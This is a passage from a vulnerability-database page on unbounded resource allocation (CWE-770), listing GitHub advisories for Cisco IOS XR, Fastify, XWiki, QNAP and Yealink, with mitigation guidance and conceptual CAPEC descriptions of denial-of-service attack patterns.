"summary": "Snipe-IT\u0027s TOTP is Brute-Forceable Due to Missing Rate Limiting on `POST /two-factor`"
}
GHSA-MR9V-HQXH-VQ2J
Vulnerability from github – Published: 2022-05-24 17:26 – Updated: 2025-10-22 00:31A vulnerability in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software could allow an unauthenticated, remote attacker to exhaust process memory of an affected device. The vulnerability is due to insufficient queue management for Internet Group Management Protocol (IGMP) packets. An attacker could exploit this vulnerability by sending crafted IGMP traffic to an affected device. A successful exploit could allow the attacker to cause memory exhaustion, resulting in instability of other processes. These processes may include, but are not limited to, interior and exterior routing protocols. Cisco will release software updates that address this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2020-3566"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-08-29T16:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software could allow an unauthenticated, remote attacker to exhaust process memory of an affected device. The vulnerability is due to insufficient queue management for Internet Group Management Protocol (IGMP) packets. An attacker could exploit this vulnerability by sending crafted IGMP traffic to an affected device. A successful exploit could allow the attacker to cause memory exhaustion, resulting in instability of other processes. These processes may include, but are not limited to, interior and exterior routing protocols. Cisco will release software updates that address this vulnerability.",
"id": "GHSA-mr9v-hqxh-vq2j",
"modified": "2025-10-22T00:31:57Z",
"published": "2022-05-24T17:26:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3566"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-3566"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MRQ3-VJJR-P77C
Vulnerability from github – Published: 2026-02-02 22:25 – Updated: 2026-02-04 17:46Impact
A Denial of Service vulnerability in Fastify’s Web Streams response handling can allow a remote client to exhaust server memory. Applications that return a ReadableStream (or Response with a Web Stream body) via reply.send() are impacted. A slow or non-reading client can trigger unbounded buffering when backpressure is ignored, leading to process crashes or severe degradation.
Patches
The issue is fixed in Fastify 5.7.3. Users should upgrade to 5.7.3 or later.
Workarounds
Avoid sending Web Streams from Fastify responses (e.g., ReadableStream or Response bodies). Use Node.js streams (stream.Readable) or buffered payloads instead until the project can upgrade.
References
- https://hackerone.com/reports/3524779
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.7.2"
},
"package": {
"ecosystem": "npm",
"name": "fastify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25224"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T22:25:05Z",
"nvd_published_at": "2026-02-03T22:16:31Z",
"severity": "LOW"
},
"details": "### Impact\nA Denial of Service vulnerability in Fastify\u2019s Web Streams response handling can allow a remote client to exhaust server memory. Applications that return a `ReadableStream` (or `Response` with a Web Stream body) via `reply.send()` are impacted. A slow or non-reading client can trigger unbounded buffering when backpressure is ignored, leading to process crashes or severe degradation.\n\n### Patches\nThe issue is fixed in Fastify 5.7.3. Users should upgrade to 5.7.3 or later.\n\n### Workarounds\nAvoid sending Web Streams from Fastify responses (e.g., `ReadableStream` or `Response` bodies). Use Node.js streams (`stream.Readable`) or buffered payloads instead until the project can upgrade.\n\n### References\n- https://hackerone.com/reports/3524779",
"id": "GHSA-mrq3-vjjr-p77c",
"modified": "2026-02-04T17:46:06Z",
"published": "2026-02-02T22:25:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fastify/security/advisories/GHSA-mrq3-vjjr-p77c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25224"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify/commit/eb11156396f6a5fedaceed0140aed2b7f026be37"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3524779"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fastify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Fastify Vulnerable to DoS via Unbounded Memory Allocation in sendWebStream"
}
GHSA-MRQG-XMGM-RC5G
Vulnerability from github – Published: 2026-04-14 22:34 – Updated: 2026-04-24 20:29Impact
REST API endpoints like /xwiki/rest/wikis/xwiki/spaces/AnnotationCode/pages/AnnotationConfig/objects/AnnotationCode.AnnotationConfig/0/properties list all available pages as part of the metadata for database list properties, which can exhaust available resources on large wikis.
Patches
This problem has been patched by applying the configured query limit also to the available values for database list properties in XWiki 16.10.16, 17.4.8 and 17.10.1.
Workarounds
We're not aware of any workarounds apart from upgrading the affected modules.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "1.8-rc-1"
},
{
"fixed": "16.10.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "17.0.0-rc-1"
},
{
"fixed": "17.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "17.5.0-rc-1"
},
{
"fixed": "17.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-legacy-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "1.8-rc-1"
},
{
"fixed": "16.10.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-legacy-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "17.0.0-rc-1"
},
{
"fixed": "17.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-legacy-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "17.5.0-rc-1"
},
{
"fixed": "17.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40104"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T22:34:04Z",
"nvd_published_at": "2026-04-15T04:17:47Z",
"severity": "MODERATE"
},
"details": "### Impact\nREST API endpoints like `/xwiki/rest/wikis/xwiki/spaces/AnnotationCode/pages/AnnotationConfig/objects/AnnotationCode.AnnotationConfig/0/properties` list all available pages as part of the metadata for database list properties, which can exhaust available resources on large wikis.\n\n### Patches\nThis problem has been patched by applying the configured query limit also to the available values for database list properties in XWiki 16.10.16, 17.4.8 and 17.10.1.\n\n### Workarounds\nWe\u0027re not aware of any workarounds apart from upgrading the affected modules.",
"id": "GHSA-mrqg-xmgm-rc5g",
"modified": "2026-04-24T20:29:17Z",
"published": "2026-04-14T22:34:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-mrqg-xmgm-rc5g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40104"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/47b568c4753a6e682b14be1ca581bdd3b25d45a7"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-23550"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "XWiki\u0027s REST APIs can list all pages/spaces, leading to unavailability"
}
GHSA-MRR7-X6J8-VMQ6
Vulnerability from github – Published: 2025-08-29 18:30 – Updated: 2025-09-19 18:31An allocation of resources without limits or throttling vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.
We have already fixed the vulnerability in the following version: File Station 5 5.5.6.4907 and later
{
"affected": [],
"aliases": [
"CVE-2025-29899"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-29T18:15:37Z",
"severity": "HIGH"
},
"details": "An allocation of resources without limits or throttling vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nFile Station 5 5.5.6.4907 and later",
"id": "GHSA-mrr7-x6j8-vmq6",
"modified": "2025-09-19T18:31:21Z",
"published": "2025-08-29T18:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29899"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-25-19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MRW7-Q7W8-VJ5J
Vulnerability from github – Published: 2025-06-22 00:30 – Updated: 2025-06-30 18:31The Yealink YMCS RPS API before 2025-05-26 lacks rate limiting, potentially enabling information disclosure via excessive requests.
{
"affected": [],
"aliases": [
"CVE-2025-52917"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-21T23:15:24Z",
"severity": "MODERATE"
},
"details": "The Yealink YMCS RPS API before 2025-05-26 lacks rate limiting, potentially enabling information disclosure via excessive requests.",
"id": "GHSA-mrw7-q7w8-vj5j",
"modified": "2025-06-30T18:31:46Z",
"published": "2025-06-22T00:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52917"
},
{
"type": "WEB",
"url": "https://dnip.ch/2025/06/25/yealink-voip-phones-insecurity-by-design"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2025/Jun/20"
},
{
"type": "WEB",
"url": "https://support.yealink.com/en/portal/knowledge/show?id=6476e7cd6a27da76bd06a9c9"
},
{
"type": "WEB",
"url": "https://www.yealink.com/en/trust-center/security-advisories/f8205560a8c7443f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.